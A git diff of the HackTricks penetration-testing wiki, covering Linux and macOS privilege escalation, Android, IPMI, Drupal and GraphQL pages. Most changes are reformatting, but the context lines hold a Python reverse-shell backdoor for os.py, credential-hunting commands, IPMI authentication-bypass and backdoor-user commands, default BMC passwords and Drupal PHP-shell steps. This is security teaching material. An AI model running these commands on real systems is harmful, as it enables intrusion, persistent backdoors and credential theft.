`/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user run a new shell**. Therefore, if you can **write or modify any of the you can escalate privileges**. @@ -1273,7 +1273,7 @@ ls -l /etc/profile /etc/profile.d/ If any weird profile script is found you should check it for **sensitive details**. -## Passwd/Shadow Files +### Passwd/Shadow Files Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of hem** and **check if you can read** them and **check if there are hashes** inside the files: @@ -1337,7 +1337,7 @@ Group=root Your backdoor will be executed the next time that tomcat is started. -## Check Folders +### Check Folders The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) @@ -1345,7 +1345,7 @@ The following folders may contain backups or interesting information: **/tmp**, ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -## Weird Location/Owned files +### Weird Location/Owned files ```bash #root owned files in /home folders @@ -1364,38 +1364,38 @@ for g in `groups`; done ``` -## Modified files in last mins +### Modified files in last mins ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -## Sqlite DB files +### Sqlite DB files ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -## \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files +### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files ```bash fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files ``` -## Hidden files +### Hidden files ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -## **Script/Binaries in PATH** +### **Script/Binaries in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done ``` -## **Web files** +### **Web files** ```bash ls -alhR /var/www/ 2>/dev/null @@ -1404,18 +1404,18 @@ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -## **Backups** +### **Backups** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll ``` -## Known files containing passwords +### Known files containing passwords Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ **Other interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. -## Logs +### Logs If you can read logs, you may be able to find **interesting/confidential information inside of them**. The more strange the log is, the more interesting will be (probably).\ Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). @@ -1427,7 +1427,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. -## Shell files +### Shell files ```bash ~/.bash_profile # if it exists, read once when you log in to the shell @@ -1440,14 +1440,14 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zshrc #zsh shell ``` -## Generic Creds Search/Regex +### Generic Creds Search/Regex You should also check for files containing the word "**password**" in it's **name** or inside the **content**, also check for IPs and emails inside logs, or hashes regexps.\ I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. ## Writable files -## Python library hijacking +### Python library hijacking If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). @@ -1457,7 +1457,7 @@ To **backdoor the library** just add at the end of the os.py library the followi import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -## Logrotate exploitation +### Logrotate exploitation There is a vulnerability on `logrotate`that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate`write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.\ So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** (on most linux distributions, logrotate is executed automatically once a day as **user root**). Also, check if apart of _/var/log_ there are more files being **rotated**. @@ -1472,7 +1472,7 @@ You can exploit this vulnerability with [**logrotten**](https://github.com/whotw This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. -## /etc/sysconfig/network-scripts/ (Centos/Redhat) +### /etc/sysconfig/network-scripts/ (Centos/Redhat) If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. @@ -1492,7 +1492,7 @@ DEVICE=eth0 **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) -## **init, init.d, systemd, and rc.d** +### **init, init.d, systemd, and rc.d** `/etc/init.d` contains **scripts** used by the System V init tools (SysVinit). This is the **traditional service management package for Linux**, containing the `init` program (the first process that is run when the kernel has finished initializing¹) as well as some infrastructure to start and stop services and configure them. Specifically, files in `/etc/init.d` are shell scripts that respond to `start`, `stop`, `restart`, and (when supported) `reload` commands to manage a particular service. These scripts can be invoked directly or (most commonly) via some other trigger (typically the presence of a symbolic link in `/etc/rc?.d/`). (From [here](https://askubuntu.com/questions/5039/what-is-the-difference-between-etc-init-and-etc-init-d#:\~:text=%2Fetc%2Finit%20contains%20configuration%20files,the%20status%20of%20a%20service.))\ Other alternative to this folder is `/etc/rc.d/init.d` in Redhat @@ -1504,19 +1504,19 @@ Files that ships in packages downloaded from distribution repository go into `/u ## Other Tricks -## NFS Privilege escalation +### NFS Privilege escalation {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} [nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md) {% endcontent-ref %} -## Escaping from restricted Shells +### Escaping from restricted Shells {% content-ref url="escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](escaping-from-limited-bash.md) {% endcontent-ref %} -## Cisco - vmanage +### Cisco - vmanage {% content-ref url="cisco-vmanage.md" %} [cisco-vmanage.md](cisco-vmanage.md) @@ -1533,7 +1533,7 @@ Files that ships in packages downloaded from distribution repository go into `/u ## Linux/Unix Privesc Tools -## **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/linux-hardening/privilege-escalation/linux-capabilities.md b/linux-hardening/privilege-escalation/linux-capabilities.md index 36781f548..886ce2390 100644 --- a/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/linux-hardening/privilege-escalation/linux-capabilities.md @@ -957,7 +957,7 @@ int main(int argc,char* argv[] ) I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: {% endhint %} -![](<../../.gitbook/assets/image (407) (2).png>) +![](<../../.gitbook/assets/image (407) (1).png>) **The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index 770a3745e..bdcba86ce 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -16,20 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -{% hint style="warning" %} -**Support HackTricks and get benefits!** - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** -{% endhint %} - First of all, please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: {% content-ref url="../../linux-hardening/privilege-escalation/" %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md index ceb2d3385..0a9b089f4 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture.md @@ -207,7 +207,7 @@ The offsets of any constructors are held in the **\_\_mod\_init\_func** section The heart of the file is the final region, the data, which consists of a number of segments as laid out in the load-commands region. **Each segment can contain a number of data sections**. Each of these sections **contains code or data** of one particular type. -![](<../../.gitbook/assets/image (555).png>) +![](<../../.gitbook/assets/image (507) (3).png>) **Get the info** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md index 1812084ac..d3f183795 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-mdm/README.md @@ -126,7 +126,7 @@ It follows a few steps to get the Activation Record performed by **`MCTeslaConfi 2. The JSON payload is encrypted using Absinthe (**`NACSign`**) 3. All requests over HTTPs, built-in root certificates are used -![](<../../../.gitbook/assets/image (566) (1).png>) +![](<../../../.gitbook/assets/image (566).png>) The response is a JSON dictionary with some important data like: @@ -146,7 +146,7 @@ The response is a JSON dictionary with some important data like: * Signed using the **device identity certificate (from APNS)** * **Certificate chain** includes expired **Apple iPhone Device CA** -![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) +![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ### Step 6: Profile Installation diff --git a/mobile-pentesting/android-app-pentesting/README.md b/mobile-pentesting/android-app-pentesting/README.md index bf8eb4bd8..a99f3983f 100644 --- a/mobile-pentesting/android-app-pentesting/README.md +++ b/mobile-pentesting/android-app-pentesting/README.md @@ -380,7 +380,7 @@ _Note that you can **omit the package name** and the mobile will automatically c In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. -![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (436) (1) (1).png>) **Sensitive info** diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index f596ff3ab..06744c37d 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -241,7 +241,7 @@ In this case you could try to abuse the functionality creating a web with the fo In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. -![](<../../.gitbook/assets/image (436) (1) (1).png>) +![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) Learn how to [call deep links without using HTML pages](./#exploiting-schemes-deep-links). diff --git a/mobile-pentesting/android-app-pentesting/apk-decompilers.md b/mobile-pentesting/android-app-pentesting/apk-decompilers.md index 0f02d0ef8..0ba496d90 100644 --- a/mobile-pentesting/android-app-pentesting/apk-decompilers.md +++ b/mobile-pentesting/android-app-pentesting/apk-decompilers.md @@ -52,7 +52,7 @@ GDA is also a powerful and fast reverse analysis platform. Which does not only s **Only for Windows.** -![](<../../.gitbook/assets/image (207) (1).png>) +![](<../../.gitbook/assets/image (207) (1) (1).png>) ## [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases) diff --git a/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 6a4ab9abe..fd8cf6bb1 100644 --- a/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -228,7 +228,7 @@ However there are **a lot of different command line useful options** that you ca First of all you need to download the Der certificate from Burp. You can do this in _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ -![](<../../.gitbook/assets/image (367) (1).png>) +![](<../../.gitbook/assets/image (367).png>) **Export the certificate in Der format** and lets **transform** it to a form that **Android** is going to be able to **understand.** Note that **in order to configure the burp certificate on the Android machine in AVD** you need to **run** this machine **with** the **`-writable-system`** option.\ For example you can run it like: diff --git a/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 6b167e9bf..94f302b92 100644 --- a/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -77,7 +77,7 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/ You should also check the **ContentProvider code** to search for queries: -![](<../../../.gitbook/assets/image (121) (1) (1).png>) +![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>) Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method: @@ -94,7 +94,7 @@ When checking the code of the Content Provider **look** also for **functions** n ![](<../../../.gitbook/assets/image (187).png>) -![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>) Because you will be able to call them diff --git a/mobile-pentesting/ios-pentesting/README.md b/mobile-pentesting/ios-pentesting/README.md index c88201a90..ebd2d0ae4 100644 --- a/mobile-pentesting/ios-pentesting/README.md +++ b/mobile-pentesting/ios-pentesting/README.md @@ -715,7 +715,7 @@ You can collect console logs through the Xcode **Devices** window as follows: 5. Reproduce the problem. 6. Click on the **Open Console** button located in the upper right-hand area of the Devices window to view the console logs on a separate window. -![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>) +![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) You can also connect to the device shell as explained in Accessing the Device Shell, install **socat** via **apt-get** and run the following command: diff --git a/network-services-pentesting/27017-27018-mongodb.md b/network-services-pentesting/27017-27018-mongodb.md index c101e0b66..f68f50095 100644 --- a/network-services-pentesting/27017-27018-mongodb.md +++ b/network-services-pentesting/27017-27018-mongodb.md @@ -101,7 +101,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not Mongo Object IDs are **12-byte hexadecimal** strings: -![](../.gitbook/assets/id-and-objectids-in-mongodb.png) +![](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png) For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019 diff --git a/network-services-pentesting/623-udp-ipmi.md b/network-services-pentesting/623-udp-ipmi.md index 3769d5e28..f866cae51 100644 --- a/network-services-pentesting/623-udp-ipmi.md +++ b/network-services-pentesting/623-udp-ipmi.md @@ -1,5 +1,7 @@ # 623/UDP/TCP - IPMI +## 623/UDP/TCP - IPMI +
Support HackTricks and get benefits! @@ -16,10 +18,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Information taken from** [**https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/**](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) -# Basic Information +## Basic Information Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards. Nearly all servers and workstations ship with or support some form of BMC. The Intelligent Platform Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. The primary goal of Dan Farmer's research was on the security of the IPMI network protocol that uses UDP port 623. A diagram of the how the BMC interfaces with the system is shown below (CC-SA-3.0 (C) U. Vezzani). @@ -27,9 +28,9 @@ Baseboard Management Controllers (BMCs) are a type of embedded computer used to **Default Port**: 623/UDP/TCP (It's usually on UDP but it could also be running on TCP) -# Enumeration +## Enumeration -## Discovery +### Discovery ```bash nmap -n -p 623 10.0.0./24 @@ -43,7 +44,7 @@ You can **identify** the **version** using: use auxiliary/scanner/ipmi/ipmi_version ``` -## Vulnerability - IPMI Authentication Bypass via Cipher 0 +### Vulnerability - IPMI Authentication Bypass via Cipher 0 Dan Farmer [identified a serious failing](http://fish2.com/ipmi/cipherzero.html) of the IPMI 2.0 specification, namely that cipher type 0, an indicator that the client wants to use clear-text authentication, actually **allows access with any password**. Cipher 0 issues were identified in HP, Dell, and Supermicro BMCs, with the issue likely encompassing all IPMI 2.0 implementations.\ Note that to exploit this issue you first need to **find a valid user**. @@ -66,7 +67,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root ``` -## Vulnerability - IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval +### Vulnerability - IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval Basically, **you can ask the server for the hashes MD5 and SHA1 of any username and if the username exists those hashes will be sent back.** Yeah, as amazing as it sounds. And there is a **metasploit module** for testing this (you can select the output in John or Hashcat format): @@ -87,7 +88,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 ``` -## Vulnerability - IPMI Anonymous Authentication +### Vulnerability - IPMI Anonymous Authentication In addition to the authentication problems above, Dan Farmer noted that **many BMCs ship with "anonymous" access enabled by default**. This is configured by setting the username of the first **user** account to a **null string** and **setting** a **null password** to match. The _ipmi\_dumphashes_ module will identify and dump the password hashes (including blank passwords) for null user accounts. **This account can be difficult to use on its own, but we can leverage `ipmitool` to reset the password of a named user account** and leverage that account for access to other services: @@ -102,7 +103,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword" ``` -## Vulnerability - Supermicro IPMI Clear-text Passwords +### Vulnerability - Supermicro IPMI Clear-text Passwords The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentication methods such as SHA1 and MD5. This authentication process has some serious weaknesses, as demonstrated in previous examples, but also **requires access to the clear-text password in order to calculate the authentication hash**. This means that the BMC must store a **clear-text version** of all configured user passwords somewhere in **non-volatile storage**. In the case of **Supermicro**, this location changes between firmware versions, but is either **`/nv/PSBlock`** or **`/nv/PSStore`**. The passwords are scattered between various binary blobs, but easy to pick out as they always follow the username. This is a serious issue for any organization that uses shared passwords between BMCs or even different types of devices. @@ -111,7 +112,7 @@ The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentic admin ADMINpassword^TT rootOtherPassword! ``` -## Vulnerability - Supermicro IPMI UPnP +### Vulnerability - Supermicro IPMI UPnP Supermicro includes a **UPnP SSDP listener running on UDP port 1900** on the IPMI firmware of many of its recent motherboards. On versions prior to SMT\_X9\_218 this service was running the Intel SDK for UPnP Devices, version 1.3.1. This version is vulnerable to [the issues Rapid7 disclosed](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) in February of 2013, and an exploit target for this platform is part of the Metasploit Framework. The interesting thing about this attack is that it **yields complete root access to the BMC**, something that is otherwise difficult to obtain. Keep in mind than an attacker with administrative access, either over the network or from a root shell on the host system, can downgrade the firmware of a Supermicro BMC to a vulnerable version and then exploit it. Once **root** access is **obtained**, it is possible to **read cleartext credentials** from the file system, **install** additional **software**, and integrate permanent **backdoors** into the BMC that would survive a full reinstall of the host's operating system. @@ -119,7 +120,7 @@ Supermicro includes a **UPnP SSDP listener running on UDP port 1900** on the IPM msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` -## Brute Force +### Brute Force Note that only HP randomizes the password during the manufacturing process. @@ -133,7 +134,7 @@ Note that only HP randomizes the password during the manufacturing process. | **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme | | **ASUS iKVM BMC** | admin | admin | -# Exploiting the Host from the BMC +## Exploiting the Host from the BMC Once administrative access to the BMC is obtained, there are a number of methods available that can be used to gain access to the host operating system. The most direct path is to abuse the BMCs KVM functionality and reboot the host to a root shell (init=/bin/sh in GRUB) or specify a rescue disk as a virtual CD-ROM and boot to that. Once raw access to the host's disk is obtained, it is trivial to introduce a backdoor, copy data from the hard drive, or generally do anything needing doing as part of the security assessment. The big downside, of course, is that the host has to be rebooted to use this method. Gaining access to the host running is much trickier and depends on what the host is running. If the physical console of the host is left logged in, it becomes trivial to hijack this using the built-in KVM functionality. The same applies to serial consoles - if the serial port is connected to an authenticated session, the BMC may allow this port to be hijacked using the ipmitool interface for serial-over-LAN (sol). One path that still needs more research is abusing access to shared hardware, such as the i2c bus and the Super I/O chip. @@ -141,9 +142,9 @@ Once administrative access to the BMC is obtained, there are a number of methods ![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png) -![](<../.gitbook/assets/image (202) (1).png>) +![](<../.gitbook/assets/image (202) (2).png>) -# Exploiting the BMC from the Host +## Exploiting the BMC from the Host In situations where a host with a BMC has been compromised, the **local interface to the BMC can be used to introduce a backdoor user account**, and from there establish a permanent foothold on the server. This attack requires the **`ipmitool`** to be installed on the host and driver support to be enabled for the BMC. The example below demonstrates how the local interface on the host, which does not require authentication, can be used to inject a new user account into the BMC. This method is universal across Linux, Windows, BSD, and even DOS targets. @@ -163,7 +164,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit 4 backdoor true false true ADMINISTRATOR ``` -# Shodan +## Shodan * `port:623` diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index 47f43644c..414036649 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -19,7 +19,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) {% hint style="danger" %} - + **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! diff --git a/network-services-pentesting/pentesting-web/drupal.md b/network-services-pentesting/pentesting-web/drupal.md index 4f4593f26..8a7672773 100644 --- a/network-services-pentesting/pentesting-web/drupal.md +++ b/network-services-pentesting/pentesting-web/drupal.md @@ -1,5 +1,7 @@ # Drupal +## Drupal +
Support HackTricks and get benefits! @@ -16,16 +18,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Username enumeration -# Username enumeration - -## Register +### Register In _/user/register_ just try to create a username and if the name is already taken it will be notified: ![](<../../.gitbook/assets/image (254).png>) -## Request new password +### Request new password If you request a new password for an existing username: @@ -35,20 +36,20 @@ If you request a new password for a non-existent username: ![](<../../.gitbook/assets/image (256).png>) -# Number of users enumeration +## Number of users enumeration Accessing _/user/\_ you can see the number of existing users, in this case is 2 as _/users/3_ returns a not found error: ![](<../../.gitbook/assets/image (257).png>) -![](<../../.gitbook/assets/image (227) (1) (1) (1).png>) +![](<../../.gitbook/assets/image (227) (1) (1).png>) -# Hidden pages enumeration +## Hidden pages enumeration **Fuzz `/node/$` where `$` is a number** (from 1 to 500 for example).\ You could find **hidden pages** (test, dev) which are not referenced by the search engines. -## Installed modules info +### Installed modules info ```bash #From https://twitter.com/intigriti/status/1439192489093644292/photo/1 @@ -60,27 +61,27 @@ curl https://example.com/core/core.services.yml curl https://example.com/config/sync/swiftmailer.transport.yml ``` -# Code execution inside Drupal with admin creds +## Code execution inside Drupal with admin creds You need the **plugin php to be installed** (check it accessing to _/modules/php_ and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**) Go to _Modules_ -> (**Check**) _PHP Filter_ -> _Save configuration_ -![](<../../.gitbook/assets/image (252).png>) +![](<../../.gitbook/assets/image (247) (1).png>) Then click on _Add content_ -> Select _Basic Page_ or _Article -_> Write _php shellcode on the body_ -> Select _PHP code_ in _Text format_ -> Select _Preview_ ![](<../../.gitbook/assets/image (253).png>) -# Post Exploitation +## Post Exploitation -## Read settings.php +### Read settings.php ``` find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null ``` -## Dump users from DB +### Dump users from DB ``` mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index b563d7662..2e60db045 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -1,5 +1,7 @@ # GraphQL +## GraphQL +
Support HackTricks and get benefits! @@ -16,12 +18,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Introduction +## Introduction GraphQL is a data query language developed by Facebook and was released in 2015. GraphQL acts as an alternative to REST API. Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. This is a lot simpler because you don’t have to send multiple requests to the API, a single request can be used to gather all the necessary information. -# GraphQL +## GraphQL As new technologies emerge so will new vulnerabilities. By **default** graphQL does **not** implement **authentication**, this is put on the developer to implement. This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated. @@ -35,7 +36,7 @@ When performing your directory brute force attacks make sure to add the followin Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the introspection system, more details can be found here: [**GraphQL: A query language for APIs.**\ \_It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so…\_graphql.org](https://graphql.org/learn/introspection/) -## Basic Enumeration +### Basic Enumeration Graphql usually supports GET, POST (x-www-form-urlencoded) and POST(json). @@ -79,17 +80,17 @@ If introspection is enabled you can use [**GraphQL Voyager**](https://github.com More and more **graphql endpoints are disabling introspection**. However, the errors that graphql throws when an unexpected request is received are enough for tools like [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) to recreate most part of the schema. -## Querying +### Querying Now that we know which kind of information is saved inside the database, let's try to **extract some values**. In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object. -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below: -![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png) +![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57.png>) You can see that the "_Flags_" objects are composed by **name** and .**value** Then you can get all the names and values of the flags with the query: @@ -138,7 +139,7 @@ If you can search by a string type, like: `query={theusers(description: ""){user GraphQL is a relatively new technology that is starting to gain some traction among startups and large corporations. Other than missing authentication by default graphQL 